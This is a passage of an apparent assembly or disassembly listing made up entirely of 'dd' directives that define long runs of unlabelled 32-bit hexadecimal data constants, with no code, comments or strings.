		dd 250923BDh, 2BCB3A7Eh, 5033DC80h, 75257E8h, 234836C6h
		dd 0B314ED4Ch, 15D08AAEh, 0D1AE9654h, 0D2205BE0h, 0D430AECEh
		dd 93806847h, 507BCCA4h, 42044384h, 61455E13h, 1003DEF4h
		dd 0C54C3D83h, 954E3288h, 2E8650ECh, 7828892h, 304CB005h
		dd 8B2F74EAh, 98FD11AAh, 56681235h, 0AF214578h,	8810EB8Bh
		dd 9DC412A0h, 0B7697F37h
		dd 9C21C96Eh, 219FCFF5h, 2CA15E4Fh, 0B5AD0A7Bh,	3D98C428h
		dd 9F516F2h, 0F9894CD9h, 0D61990E8h, 4217B3D8h,	700D35E4h
		dd 9E32FAE7h, 480A11EEh, 88856816h, 607101F4h, 45C4E811h
		dd 0BD059241h, 4A531C42h, 73F59408h, 6972184Ah,	901FB1E0h
		dd 90857C0Fh, 1E8CA2D0h, 0E8461DF9h, 2145BF90h,	0C902A3Eh
		dd 8C21E043h, 914BD091h, 0A4848541h, 881DE81Fh,	84FDBEA1h
		dd 48E9745Bh, 4AED4EDBh, 9006E433h, 0F875854Ch,	9ED5DFFCh
		dd 686C30D2h, 89969284h, 84F7EC50h, 14DD9421h, 98D20F48h
		dd 0F542A489h, 0CF470A11h, 2013F1A0h, 0B88BE809h, 6ADC4BEEh
		dd 0D0F41086h, 289388C4h, 1B8B4430h, 24830746h,	3F6598A1h
		dd 7FE7E480h, 985525Fh,	1CDDCC42h, 0D5D6700h, 4F576401h
		dd 9F1E8805h, 0B3181202h, 0CCE825B9h, 0C831818Ah, 6A528114h
		dd 0C6A62A08h, 0B9537C3Ah, 32E4E24Ah, 57E0F910h, 5B8DA8A5h
		dd 37C7AAE9h, 0C8BE655h, 0E42712BEh, 7E8A611Eh,	0A5880104h
		dd 834A480Ah, 275A77F8h, 0D8E47B85h, 0CBFEF459h, 0D934C2DCh
		dd 0FA2CE280h, 85DC0510h, 8EDBF488h, 0BE62056Ah, 3848943Ch
		dd 0FB40FCBDh, 0A4A517F3h, 5356EBB9h, 0FC11B591h, 19FCD93Fh
		dd 5F7463E8h, 2CDA87A1h, 0FA43280Eh, 6845EC3Fh,	1ABF77C1h
		dd 0D5BA5FEEh, 0EBF405B2h, 6400849h, 45295025h,	0E60D098Bh
		dd 22C7E04h, 94AC754Ah,	9430FC04h, 124F0A41h, 28320344h
		dd 4183D11h, 23204286h,	0C805102Bh, 62194418h, 8101906h
		dd 813C807h, 748A2BA1h,	7C696A2Dh, 25272C1Bh, 48E06F19h
		dd 8E8CF407h, 0EBC844B5h, 808D135Fh, 0F0E82810h, 698C93DAh
		dd 24FBA704h, 55071C14h, 76E2733Dh, 0A94F9542h,	6815C16Ah
		dd 0A26F9404h, 0DAB5C50Eh, 47F30CDh, 34FBF005h,	0D00B310Eh
		dd 34064A96h, 664A7252h, 3D188A3Ah, 9357E468h, 0BFA74B49h
		dd 26EB1C0Ah, 0D4425428h, 6A9314E2h, 14EC8DB1h,	85A2D94h
		dd 40B69128h, 8A07A5F6h, 40514452h, 56434808h, 8B4648DFh
		dd 8F19FF37h, 137411FAh, 0E710CE5Bh, 36EB96D9h,	44D30C7Fh
		dd 684328EEh, 0F6839C52h, 721FB439h, 7464D1FCh,	0E29717FFh
		dd 58AC579h, 984D1FB6h,	1AD956E1h, 31CD5CC4h, 110A9454h
		dd 83118F2Eh, 0C9EAA403h, 0D88601ADh, 0D9A22870h, 214D414h
		dd 7F487C4Ch, 764287D4h, 0BFF7D440h, 400E3A28h,	0E49F32F0h
		dd 612EF3C8h, 0ADAA3ECh, 6E6DDF1Fh, 7E896F9Eh, 71EBC51Bh
		dd 0A0A30F09h, 1424A6E2h, 7FD045A8h, 164508CAh,	43C87E1Fh
		dd 35323BE4h, 211B2D39h, 61847325h, 0EB01D9F3h,	47795B0Fh
		dd 3B49F274h, 393B32FCh, 0B1101B33h, 438CACD9h,	297F22D9h
		dd 91F3052Bh, 1C1C9A0Ch, 0C02534EBh, 1946B017h,	0D7368682h
		dd 0C6C8EA63h, 0BA86823h, 2A0892A1h, 6A0305F7h,	727868FFh
		dd 6DBA2F10h, 33A1641Ch, 89B95003h, 0D62DC225h,	0E196123Ah
		dd 0E865F822h, 5BF346B7h, 2FAA89E4h, 0C54B18B2h, 8D8DAAC9h
		dd 6099896Ah, 60A249ABh, 0DC150CE8h, 4B61C69Fh,	0CC3BB920h
		dd 0FE682D15h, 5673B594h, 41407F88h, 6A12EB0Ch,	0E0550FD1h
		dd 4D99916Eh, 771528FCh, 925EB28h, 68281DECh, 0D6ED2C70h
		dd 0D0CB18F7h, 22DEED9Eh, 84888BC3h, 3C8C241Fh,	9FF050F6h
		dd 0B5BC840Dh, 1A72B5Ah, 0D6C0E815h, 9AEE84C3h,	0D2F15A02h
		dd 0CC4C7CF6h, 48F00C11h, 92870448h, 68F19727h,	5E0793B6h
		dd 977B212h, 0F1D901E8h, 0E5D1248Bh, 531EAE74h,	2D625B67h
		dd 8A0BD141h, 5B6BE85Dh, 0EA595E25h, 0A8881130h, 8CEC2C81h
		dd 2D33AB20h, 6410ACD3h, 65646088h, 51464B29h, 34DF6840h
		dd 0E572F60h, 8D2AF6ADh, 43CA9A31h, 165A51D5h, 51C8221Ah
		dd 0A22CA95Ch, 21EB290Ah, 622BA92Bh, 64179DA5h,	0B801D814h
		dd 0A4440645h, 2D102388h, 45691B75h, 22734486h,	1613A91Dh
		dd 0AB88E982h, 0DF483072h, 0A4923DB4h, 35611073h, 98C0691Bh
		dd 0DA645BCh, 0AAF64F58h, 0AD3BC80Ah, 3A104C21h, 3C395DE2h
		dd 38BEEB11h, 266D5F87h, 989AFE25h, 4C1C1B36h, 0DB7C833Dh
		dd 0B61E55C2h, 4B549616h, 0F0E94A7Eh, 0EABD48D2h, 0CA1070D1h
		dd 5EDB1D4h, 6BE1CC18h,	573F6A8Dh, 0F4D1E053h, 40BF079Bh
		dd 0ED928210h, 146A5E66h, 0E841782Bh, 8D2ED702h, 0A59B4DCAh
		dd 1215D626h, 401C21A1h, 480DA1A3h, 36EC6E4Ch, 114106EBh
		dd 330C3989h, 68107C4Fh, 425B94E6h, 0D6B5E87Ah,	28809BDDh
		dd 0F87141E1h, 36C9A978h, 8427A348h, 0C485489h,	0B6984F68h
		dd 0F8C15EDCh, 180DD429h, 298C2CC1h, 100F0EEBh,	0B6B7931Dh
		dd 0FC151342h, 94A44B04h, 0D0C4AF24h, 570DB499h, 0C61E896Fh
		dd 0D62C5696h, 4152F104h, 0BC1594A5h, 0E90582B7h, 877D7936h
		dd 6EE2C3E8h, 3438A5F7h, 10A05ABAh, 0E394D3C9h,	8B443D68h
		dd 0E446AE25h, 0EDD82D73h, 74B1AA22h, 5A165B17h, 8A7D35B9h
		dd 95B3E11h, 0B58B904Dh, 0DF11B468h, 0C03DA485h, 0E88E7010h
		dd 10C8A7D4h, 0DB2D21C5h, 0A5131C22h, 0DEE3AD6Ch, 28072063h
		dd 8306BD83h, 16248D8Bh, 552F8E2Eh, 6186E0CCh, 0D84B2785h
		dd 35F2A9A4h, 592BA27Ch, 251A94F4h, 5FC40AA9h, 2B431899h
		dd 0AC407277h, 38A2DA5h, 9C640C59h, 0CC234C8Eh,	53E17788h
		dd 589984A9h, 7924E8F6h, 3BD050D2h, 6C108503h, 0DD9356ECh
		dd 679FFC65h, 5D6BE54Fh, 5F1D1BE7h, 5ADD21F4h, 0BB1365D1h
		dd 0DFE00E22h, 7D84171Eh, 1202CC22h, 2B011FE9h,	886C218Fh
		dd 9278D1E1h, 0F4108702h, 314F6821h, 0C2BEE19Dh, 0E54B0F3Ch
		dd 9335A909h, 0A00884D2h, 480F4D53h, 0A9690D8Fh, 9ED89757h
		dd 6512870Ch, 301F0869h, 55C0B53h, 7DA40E94h, 0CC114823h
		dd 0B58AD042h, 0A1142B2Ch, 4BA4910Ch, 0C1509EA6h, 6EE29124h
		dd 0E47301A8h, 0EEA36845h, 7060596Ch, 4F1E85D0h, 0A14914E5h
		dd 0C22E1EB9h, 0DEC635BCh, 0AD16598h, 3A1F842Eh, 1AEB1020h
		dd 16CC6829h, 0E4570964h, 0AE58E943h, 8123B22Ah, 0F0658077h
		dd 895DCB6Fh, 94299D7Fh, 0F98E3864h, 56CE5B11h,	0D5211642h
		dd 642B6F35h, 0BC984A4Fh, 397F788Ah, 6285A0A6h,	0CE3FD64Bh
		dd 90182CB2h, 0A76C2AE1h, 472384A3h, 582964CFh,	6951E8C5h
		dd 0C3446CC3h, 9AD56816h, 0F85404C1h, 0A5B80F44h, 0E2270937h
		dd 6145CF19h, 0B0186A0Bh, 86CF25AEh, 0DE104AA0h, 532BED84h
		dd 0E634EB48h, 9EB1105h, 0DDE40B4Ah, 5BBBDCA5h,	0C0E3CB5h
		dd 0A24B7147h, 4AE5D32h, 6C10FF0h, 151BFBB1h, 9C14872Bh
		dd 6E389883h, 9995E2CCh, 0C83C7D24h, 1C681205h,	8E64495h
		dd 77E932D1h, 0A312DD0Eh, 21E820F7h, 8A9FCE85h,	1E88100Dh
		dd 1849832Ah, 0D0DA2614h, 7FD8C9F9h, 53F4A591h,	0F4F46A14h
		dd 0CE4A5930h, 183B6FB7h, 7D08F88Bh, 0DBC8F9E1h, 12A00887h
		dd 627756DFh, 6A0C5739h, 0A595DC12h, 4622943Bh,	0F8770ED4h
		dd 9C88D299h, 637DB14h,	667B0AFDh, 1311AD5Ah, 0D8E40208h
		dd 4BB38648h, 41E2E6E0h, 74B9EBBAh, 58B37B0Dh, 49E75F4Eh
		dd 1BD717EBh, 7809EAC7h, 4B0B86F3h, 3DF81049h, 549AD48Bh
		dd 0D06EC250h, 11E8651Eh, 20747D11h, 2FDE7CCh, 9D6B0F49h
		dd 35B12E89h, 8AF157C2h, 65315044h, 7B14C2CDh, 508E154h
		dd 0F7E3E05Fh, 0C686904h, 52DCAA96h, 29D06AA3h,	8A763BCCh
		dd 7F438EFEh, 0FC971903h, 44354195h, 2698AA15h,	2B628ACCh
		dd 0D842163Ch, 0D451DC21h, 6CA6C612h, 0CC42B201h, 20B226C8h
		dd 164316D8h, 664D421h
		dd 0F310BC50h, 27FB4AFEh, 52B585D4h, 0ED34EB06h, 2BC1E5AEh
		dd 0D1907DACh, 101B542Bh, 6840C83Ch, 0A8E2406h,	8F0F8B27h
		dd 0AE5BF0Fh, 6F0B2750h, 885F0C4Bh, 14A84074h, 0B1CC512Dh
		dd 64D668D5h, 0CEC82340h, 16028B0Eh, 57C6CA32h,	98A00AFAh
		dd 9AA8A0Eh, 88AD4F8h, 60073A88h, 0C13BF34Dh, 5B508FFAh
		dd 0D1837D2Eh, 0A415185h, 7A4714A5h, 931C8D72h,	201C2193h
		dd 724A9BBh, 8BBF3012h,	340E64B5h, 2C312862h, 0E6CDDD6Bh
		dd 1734BC33h, 8BF2FC06h, 228BD9A6h, 91D4D22Ch, 32206A9Fh
		dd 8BB5295Bh, 5704C22Fh, 9496171h, 0E32756DFh, 62446974h
		dd 48687564h, 3127B92h,	894AD2BFh, 338B0CA4h, 231CE23Bh
		dd 37F50C73h, 2479E81Ah, 80167612h, 8116EB0Eh, 89140C34h
		dd 8E89F2C7h, 36EA8DFCh, 0A915559Bh, 0F92BFF3Eh, 184899AFh
		dd 14218923h, 8113750Ah, 0F7D233C1h, 3491F8EDh,	15EB1420h
		dd 0FA1C2BF3h, 3168242Bh, 0C810E348h, 0F05C028Bh, 51B74822h
		dd 5D10457Dh, 7409A155h, 1B8A2458h, 1A11504Ch, 4419478Eh
		dd 2FAA8B35h, 1319F08Ah, 20423224h, 471CE213h, 685004C4h
		dd 0CAF99494h, 342F1023h, 4EEB2C82h, 502358BFh,	0DF3C8C5Bh
		dd 280C3342h, 144822EBh, 0F240108Dh, 8B1018BBh,	3B959299h
		dd 4A75275Fh, 0E9579068h, 0BC1DD384h, 1818E2CAh, 96F06814h
		dd 21456695h, 0E904337Fh, 0B7AF0109h, 43C93800h, 0F0E90583h
		dd 0D702E284h, 0C962DA44h, 8B7D73FAh, 19054828h, 0C9FA84B5h
		dd 1ED028FAh, 88B24997h, 0D63D1043h, 0E7F2875h,	53785210h
		dd 25E6F34Eh, 63EF761Eh, 88FB4D8Ah, 0FE2BA38Ah,	0ED372228h
		dd 37104A61h, 860927C0h, 374120CAh, 5227EC44h, 0C31A7530h
		dd 8889F8D0h, 1837A9A4h, 62AF272Ah, 27931AE8h, 3D727C4h
		dd 22F0EF08h, 0A44BFA8h, 0D08D1097h, 69A7BC9Dh,	0BAB40505h
		dd 7514E58Bh, 8886D40Bh, 0EB2F85C8h, 6143FB09h,	24111CB8h
		dd 0C850E10Eh, 0DB9F0850h, 0AF051D29h, 0D56BE45Ch, 6C68B210h
		dd 15894392h, 2F052302h, 0B70E4432h, 3BC664BBh,	0E80E328Eh
		dd 36FFADC4h, 42082DAEh, 0EB61329Dh, 5A311469h,	5BA56068h
		dd 5EA21ADDh, 340CE5A2h, 0C7018210h, 0C3885D0Bh, 1470C91Fh
		dd 4DB04C28h, 0A2A40C48h, 6148410h, 13AD594Ch, 0C0B07F8Ah
		dd 30A6EEECh, 0EB963942h, 2906C233h, 836FF0Dh, 0DDC7AFD0h
		dd 4CC9310Ah, 0DEE4F886h, 95066A19h, 54FFCE6h, 0B5E5AA27h
		dd 6AE81202h, 6833FCD7h, 16745821h, 8491669Fh, 95C97121h
		dd 23849AEEh, 5CA28D71h, 15A0015Dh, 35265C68h, 163101C5h
		dd 38131029h, 0E9A11890h, 0D6380930h, 4AD6F2A9h, 3EE65912h
		dd 0E8270420h, 0F49CB9EEh, 0D3C41944h, 0B78C1113h, 0E2108A37h
		dd 0B088AEEEh, 0E4CFB401h, 23E3AF03h, 21FC5884h, 14C2C691h
		dd 59178065h, 0FDF91861h, 75C6CA79h, 5C7E281Bh,	4A986888h
		dd 0B16EBC96h, 613E3046h, 11FC582Eh, 0CF6AF25Ch, 0CAA94AC1h
		dd 0D193E95Eh, 1FE80B70h, 455636C6h, 1AF36B86h,	8BC5F585h
		dd 0D6152541h, 3831C9A6h, 0EB1950DCh, 0D4686824h, 0C55117F5h
		dd 11100A0Dh, 0AB4A6076h, 46582639h, 0AA4ED2B6h, 0B41026CBh
		dd 8CA4A396h, 0BFEFEB47h, 7D51A290h, 374EB914h,	0A448D3B7h
		dd 0F7E93650h, 931677CEh, 14752A11h, 894A8948h,	35883B22h
		dd 0C6ED55E9h, 0D0E63E24h, 23A6370Fh, 61E2D54Eh, 0BE948493h
		dd 0AD165C32h, 0A9E2B3Ch, 1C3EE9E8h, 455D29AFh,	6A213C3Fh
		dd 0C28E438Ch, 7D387523h, 7C3051B8h, 100B0B56h,	42B67E39h
		dd 0C8421352h, 4FEB6228h, 4B8A8D8Eh, 3F3E71C1h,	2FD10AA7h
		dd 0B2520327h, 5ED4F749h, 82047A72h, 7D15EBFAh,	46E519Eh
		dd 0C89A9C8Fh, 912DBD0Ch, 4342F861h, 0C73B3B01h, 2E012AC4h
		dd 0EC26048Ah, 19141BAh, 167E5AC1h, 7C610A0Ah, 7AC10B34h
		dd 0F01C297Fh, 0F2552052h, 51824536h, 0D3AC0A15h, 0A2FCFE43h
		dd 0B68C7B87h, 93674DDDh, 0B527ABB4h, 0C42F367h, 3663C47Fh
		dd 0DD94AF0Fh, 7EE5EB2Dh, 562858C4h, 5E435756h,	453E2099h
		dd 88E8BEE6h, 0E41C7DE0h, 0A49566A5h, 0EFE02B7Eh, 5F2A7509h
		dd 158E2014h, 0E747814h, 4258B20Eh, 90231ACBh, 0BEC22CF2h
		dd 0E4F0E91Ch, 0CAECEC4Fh, 293CAE7h, 958D0FD8h,	78DF1FCCh
		dd 0C4F989E2h, 0E96EDDC2h, 891159A1h, 2C7F390Dh, 0FDE81E54h
		dd 43353339h, 39DB0C23h, 7F28660Dh, 0DC53A533h,	0D68B76E2h
		dd 4480C20Fh, 3049E405h, 390C5818h, 97570C6h, 3FE2B51Bh
		dd 2BD53D07h, 2B400C52h, 0DAA5E9D8h, 10166370h,	75BABEE8h
		dd 0F018622Fh, 0E9E2AFF6h, 699FF658h, 0B8613075h, 0B5645D24h
		dd 5FC1E410h, 1C453B05h, 507AC1EAh, 2EA64943h, 0E34124A3h
		dd 3C120577h, 5828AAC1h, 2B2E867Dh, 14C69AC1h, 557D6356h
		dd 385A7A6Ah, 228101C3h, 0EBBD2A32h, 1FBE12Ah, 12C242Fh
		dd 18052B49h, 0ABCC3A9Fh, 12C5A940h, 449D5558h,	0B929E9B0h
		dd 0C44271Eh, 90AA613Ch, 358891DDh, 0FDEC6088h,	0FE100EB1h
		dd 3EAB340Ch, 32F7BBE2h, 680F23A0h, 0E8770904h,	0E5E42C26h
		dd 14536651h, 5EC1BBCEh, 25A12D2Eh, 1123210Ch, 76438A03h
		dd 879EF858h, 0A5BC3D12h, 9758B24Ah, 0FD7186C2h, 0B1E48C11h
		dd 1B7E3A0Fh, 2568184Ch, 20969EDCh, 852A2621h, 281DF1E9h
		dd 9587D052h, 82B7E20h,	0A352384h, 62BDCC8Fh, 3596BCE9h
		dd 0EC4E0EFFh, 0C9085878h, 22011320h, 6829081Ah, 45221280h
		dd 2484FAFAh, 0E802CEC3h, 0BF9E430Fh, 3CBB424Ah, 7E0C0306h
		dd 0ABC0684Ch, 0FF14AA8Bh, 5165C4C1h, 39C21428h, 192E8AB5h
		dd 1BA48042h, 0B6486285h, 62599CA5h, 5594490Dh,	99032E84h
		dd 0F759046Ah, 818DE2F9h, 81C82B0Ch, 769790EAh,	0F3E91205h
		dd 6099AF1Ch, 5EF83A18h, 0EA8CD42h, 43141C14h, 0AA3A5F25h
		dd 0EAE41A33h, 21274334h, 99EA3ED5h, 68161125h,	0C468239Ch
		dd 896128BEh, 90240E1Ch, 0C2E2D133h, 0DD0521Eh,	333F134Eh
		dd 85B33DB8h, 911275BDh, 0C33FC8B6h, 35855982h,	5C1638A8h
		dd 10EDBE53h, 0BB9DF8E4h, 463E9F43h, 97A006C8h,	8EF76022h
		dd 3CA92B3Ch, 0F8E008DBh, 22210648h, 4306E885h,	0ED1C1A3Eh
		dd 8B432241h, 15048655h, 70685861h, 0C311FB4Fh,	1B8E8427h
		dd 9876038h, 5DBC1974h,	11B89825h, 2E4B60D5h, 96E95021h
		dd 0B6EC3180h, 4B39E951h, 50482427h, 212BC4D1h,	12F608A2h
		dd 75D257C7h, 0C4066BEh, 0A414BE59h, 28BD349Bh,	0AA12AA33h
		dd 0FC10BBA9h, 0F748849Dh, 34D0BC36h, 57CA165Eh, 80A76589h
		dd 1B68FD59h, 0D0FFD669h, 31AC2774h, 0FF4A4B42h, 0D0745632h
		dd 0AD12D370h, 95E9C3C5h, 3D61851Ah, 584924E8h,	0D5B1DCB7h
		dd 120D2465h, 5C44319Eh, 32992FF6h, 44181F0Dh, 846AAE0Ch
		dd 56E12936h, 0D2BF96Ah, 84BA2708h, 6A0A1E87h, 0DC10EC07h
		dd 77F5E8C4h, 0DE8A309Fh, 0A580042Ah, 242C9825h, 57187DC9h
		dd 0C804CC6h, 7AB8948h,	10FBE27Dh, 0D4948C0Fh, 0E0105939h
		dd 94DCC8F5h, 3EDF2D0Eh, 9EF7743h, 7C2083F6h, 292C414Ch
		dd 8D3FA47Ah, 0B60F12A0h, 900D8C1Ah, 0BD42F5CFh, 491F1928h
		dd 3418A804h, 84882206h, 0A198D43h, 0A0C9589h, 0CD8F9EEBh
		dd 8A0E034Eh, 3BBC9042h, 0C059888h, 0AA52E95Dh,	21CE14E4h
		dd 458855C2h, 85C684F7h, 8A2D453Fh, 0AD88074Fh,	1BF20D39h
		dd 0BB331821h, 902D2243h, 4C82D00Ah, 91288954h,	0BB1F8B40h
		dd 31B29551h, 0C2E3111h
		dd 16118707h, 0EF623488h, 1B4616BAh, 0D7903A21h, 403120E2h
		dd 0D28CBF0Ch, 0E479E8DFh, 5991DB98h, 909F3224h, 9DCCE118h
		dd 0C651130Eh, 9AF47C4h, 0C455E7B3h, 0F835844Eh, 0EB59806Ch
		dd 0F52F3164h, 7242FC68h, 140F1A2Bh, 0D46265Fh,	141CE028h
		dd 6617F6E9h, 991EBCA2h, 9D73626Ah, 3CCF2784h, 6A2687B0h
		dd 2620EB1Ch, 105C086Ah, 0CFA4C88Ch, 910E84CAh,	0A8104EC8h
		dd 0A852895h, 400D8B0Dh, 1A852CDAh, 52C12B09h, 48BCFC3Eh
		dd 25A1DD2Dh, 1C20D1F2h, 9D78239Ch, 68440C20h, 230AAB8Bh
		dd 18C4D856h, 0CE84848h, 7A2B1015h, 2ED44586h, 5801C5DCh
		dd 0D4CF0754h, 44A176B1h, 9BECC1A1h, 828D2554h,	58A8150h
		dd 0D47DA20h, 0A131A108h, 230D42F5h, 474827FCh,	21536CC2h
		dd 2316CBE9h, 70088804h, 0C3B93274h, 21061495h,	8B0C9310h
		dd 0ABBFC438h, 84E91820h, 0FC8847A5h, 84F5729Ch, 0C4B820FFh
		dd 0B0F1CCDh, 0B520138Bh, 964D0F62h, 85F04337h,	15621575h
		dd 74271CE4h, 0E86E1811h, 0B9245253h, 0D4E21221h, 0F0DF739Ch
		dd 218C7F33h, 0C8C515DDh, 15CE3569h, 0C472AB88h, 87B83CA8h
		dd 176E2692h, 82B16C10h, 966DE910h, 70A8573Bh, 26B28AE1h
		dd 35382915h, 373C9864h, 50C94D9Ch, 9E1571C7h, 0E4D5E97Ch
		dd 5BF33DE0h, 2120CC5h,	0AE14384h, 4C14ECE9h, 4C228851h
		dd 4F5D06F7h, 26C6E929h, 1C3C7C64h, 0E2296A4Fh,	4935A318h
		dd 958A1363h, 1B705931h, 31CF0123h, 0E47B64C8h,	0C592323Dh
		dd 8922E722h, 5C431E3Dh, 73F41EC9h, 9C4CA54Eh, 3F1152CEh
		dd 330A8A20h, 2B0F4059h, 0B8C28919h, 867D98Ah, 347113DCh
		dd 2AC87133h, 86332851h, 991E1CA2h, 11787E19h, 0E98A6DB1h
		dd 0C59716Bh, 0B584F94Eh, 44CEC88Bh, 0F88827A5h, 274E719Bh
		dd 2F4979F4h, 0B148C7B1h, 3A66D509h, 7E131125h,	0E5F7CA64h
		dd 0E805D010h, 7091C440h, 5F11EB89h, 142E0F1Ah,	62FBB5AAh
		dd 2B1C12E1h, 56D19BE8h, 148F9023h, 0E0B2479Ah,	840F271Ch
		dd 0A2A400DEh, 85127370h, 0B496E805h, 0E0D18046h, 9935186h
		dd 5C98CC60h, 690F7A5h,	874A2940h, 84936D10h, 131B1025h
		dd 0CC7D68C9h, 0EF14834Dh, 0CF9B94h, 6F1A1E29h,	273B3ECAh
		dd 0A022806Ch, 8FE295E5h, 3DBBF613h, 0F1893327h, 0A58302E6h
		dd 0A5DCE59Ch, 0A0613ECFh, 0BD812807h, 4E8B706h, 40A61D7Dh
		dd 8CA59C22h, 33E72A47h, 0CAEB2C67h, 0FCB31364h, 504A44A0h
		dd 89B06829h, 181DB6E2h, 114881E9h, 1CA4E219h, 157D7424h
		dd 85115E70h, 0B3B38188h, 8CBC807Ah, 0ED869413h, 4FD0371Ch
		dd 6917ED8h, 0AEF8DDC4h, 138D549Fh, 0C19E15Fh, 8853681Dh
		dd 0C830C886h, 2FCA4F1Ah, 0EFE90557h, 78923810h, 0A73B9287h
		dd 57B37FCAh, 0B7486414h, 0EB311C14h, 0A4612A12h, 0CE11EF18h
		dd 0A59F0CB2h, 0C943BB50h, 0BDC5311h, 0C411DF14h, 21264B79h
		dd 156FEB4Ch, 65872508h, 3C2E2C4Bh, 0C6254A5h, 0F2511E0h
		dd 20C43023h, 0AE430E3Ch, 0E20FF710h, 0A82B720h, 65D675C5h
		dd 142E2CC9h, 2A2C9687h, 57258E12h, 0E914ABA2h,	8B24188h
		dd 748A941Eh, 14EB5723h, 0FCB13553h, 212C0E9Ah,	9AE8C2B9h
		dd 4F1CA82Eh, 36EE8082h, 0E9C28DD4h, 4336961Dh,	146FC9DCh
		dd 253D90D2h, 6CCE0EFAh, 25FCE697h, 19E6B112h, 0FD0841CBh
		dd 0BFCD8213h, 14850B91h, 114E573Ch, 0B5700869h, 0A829B64h
		dd 44EDEF84h, 5124B0DFh, 527A440Ch, 5A268ED0h, 99E9C11Ah
		dd 23392E0Eh, 4D21840Fh, 686476C4h, 0F18E1072h,	1D0A410Bh
		dd 0F86211ABh, 8737181Bh, 25F2B890h, 0E614531Ch, 113BB08Ah
		dd 0FDCC54BDh, 0A48A0D43h, 0E42593Ah, 0A00DDA10h, 0B1B059E8h
		dd 5890917Dh, 6F064107h, 467E034Ch, 9E0D8AB7h, 53F73F22h
		dd 57A6E914h, 471E9CB2h, 958792Fh, 4208C8E4h, 0B83A0D7Ah
		dd 5302E8F9h, 62219B19h, 447B90E5h, 33503621h, 1E438618h
		dd 1F7988C8h, 0FB846373h, 44A92C0Ch, 0EA27E91Ah, 85DC1C0Ch
		dd 28759234h, 0EE9D3E13h, 3983B435h, 9A4678C4h,	8A740C40h
		dd 0F0A0A88h, 0E3726068h, 0EC188800h, 61D468B9h, 0B2E0A151h
		dd 96CA662Fh, 2E540551h, 252AECE6h, 60E92960h, 3D50E48Ah
		dd 2AA10B2Ch, 0A53908A1h, 3E449227h, 0E51629FEh, 123C6863h
		dd 61BFE845h, 0E0BFF63h, 65C93021h, 9A2488DDh, 92648574h
		dd 27C8BB10h, 0E950A06Fh, 904FA5B0h, 5274E110h,	12DAE62Fh
		dd 2BFFA48Ch, 61EE4A21h, 0EA48C86h, 5C34BA90h, 71E2AEA9h
		dd 90194679h, 7904C867h, 10F04E3Bh, 0A79F0B26h,	0C2773D4Ah
		dd 120A146Eh, 3899D468h, 17422E95h, 0F9E91005h,	21A08F0Ah
		dd 0E80AC099h, 28D3B315h, 0B21F0010h, 10A71CBCh, 4D99B009h
		dd 5EFA4260h, 434B9719h, 502EA82Bh, 9691100Eh, 0B22E6994h
		dd 1071979Ch, 682AF18Ch, 0E81D15CFh, 5925CCEEh,	0E8847A15h
		dd 79D81471h, 9054A515h, 840FE06Ch, 0A59A92C3h,	130A1838h
		dd 758240C7h, 882FE9DAh, 52EE7CA4h, 96F74A0Bh, 1722111h
		dd 47A48808h, 0DF4E6884h, 4B96C822h, 0D015DEAFh, 2386A080h
		dd 0F9BCA484h, 596B28Dh, 0F7452B1Ah, 9D4B19A4h,	0A7227BA9h
		dd 250D930Eh, 73208C8h,	11680805h, 559F58BBh, 442411B5h
		dd 155D78D1h, 0A5A3708Ch, 75178457h, 8E733B48h,	11910AF7h
		dd 64572029h, 4FEB6106h, 23DC484Bh, 0EE9047B8h,	0A24404A3h
		dd 9852EC1Ah, 14B58451h, 0B4FF5927h, 0FD2E8282h, 53B0FDE2h
		dd 51D9A8E9h, 0DFEE8872h, 1AEBFCB8h, 47E8F794h,	0DC276E59h
		dd 0E7083910h, 50FC98F4h, 0C4DC4BA9h, 313FA07Ch, 46A6591h
		dd 78C4C323h, 0A07C319Ch, 6CCCE71Dh, 0A6575075h, 94A0427Ch
		dd 46FCEC20h, 0AF1789Bh, 70A25445h, 0D0A85311h,	98139EC4h
		dd 0C2B769BFh, 85573620h, 137342FBh, 87073E30h,	8DA19811h
		dd 284F0B01h, 0A94F3F1Ah, 0AF83591h, 4B065674h,	29D42807h
		dd 742AA943h, 68FA8095h, 28984A90h, 0AB70BA9Ch,	0C22DDC97h
		dd 4FE50120h, 298D283Bh, 8448A01h, 688588F7h, 641615A3h
		dd 866908F8h, 0D6AA580h, 0F910338Fh, 0FA716B21h, 6D196C02h
		dd 10FCC80Bh, 81FDB86Eh, 85700C6Fh, 7108FEE4h, 7202EB5Ch
		dd 8D087319h, 478523AAh, 7BB2E19Ah, 645909C4h, 6B1C8C1Ch
		dd 217E4786h, 0D5709068h, 7860C88Ah, 4C8411E9h,	44B2A11Ch
		dd 11CD231Eh, 71059808h, 1D101A38h, 0CCE80B01h,	6471E8A7h
		dd 5C76849Ch, 60A5048Ah, 0F1E2EE24h, 2A7F4C2Ah,	2A4AA7AEh
		dd 6410C766h, 48976A02h, 6CF66B2Bh, 8B830F41h, 8557F36Eh
		dd 0CEBA400Bh, 0B866325Fh, 0C2DC464Eh, 7CE5E89Ch, 51284675h
		dd 0AC651150h, 0CAF6F26Fh, 10141248h, 62FCD26Fh, 3CDBBD7Fh
		dd 23014FB3h, 0C46602Eh, 450C8C65h, 20DB0430h, 2BC083B7h
		dd 0E9098954h, 81335F62h, 68CB9ABDh, 0A40E7644h, 0F83ACB20h
		dd 50C40A3Bh, 0A8B2A1Ah, 0AE8C10Bh, 986F8450h, 10499738h
		dd 4628436h, 25871838h,	0C210716h, 6825C398h, 0A40EDC82h
		dd 26BA03B7h, 4F8588D3h, 14C24810h, 271E13E9h, 954597DCh
		dd 0CC7DC2D3h, 3D82791h, 97143A67h, 4FC8BC8Ah, 179D2E97h
		dd 89D2C254h, 433C969Ch, 1DB4A2C0h, 44C89E08h, 87A43C60h
		dd 94D7409h, 21960D93h,	93807D20h, 7A4411D0h, 6806B550h
		dd 448E5C5Ah, 0DC0F4D10h, 4E1ABDD4h, 0A30F174Dh, 28E82808h
		dd 216286ADh, 90C502FEh, 0AD10893Ah, 27D78ACBh,	160E8859h
		dd 28CA1975h, 78D69726h
		dd 7CB9022Dh, 1F7114C4h, 0A90414A5h, 0FD169BF4h, 0DF178C7h
		dd 522A0706h, 6149038h,	20220BCCh, 0FD0C2EDAh, 2852DD34h
		dd 68FAA515h, 20AD3CDDh, 71DDF4EBh, 0A29542Ch, 92753B4Fh
		dd 0FD120473h, 0FEE80201h, 407C84CBh, 34F16837h, 7C90154Ah
		dd 20B724F2h, 30647CA1h, 8A768954h, 0F00510FDh,	7C3E879Bh
		dd 243EC88Ch, 7C0FEC51h, 0A2349085h, 0BF91EE8h,	0E4442C21h
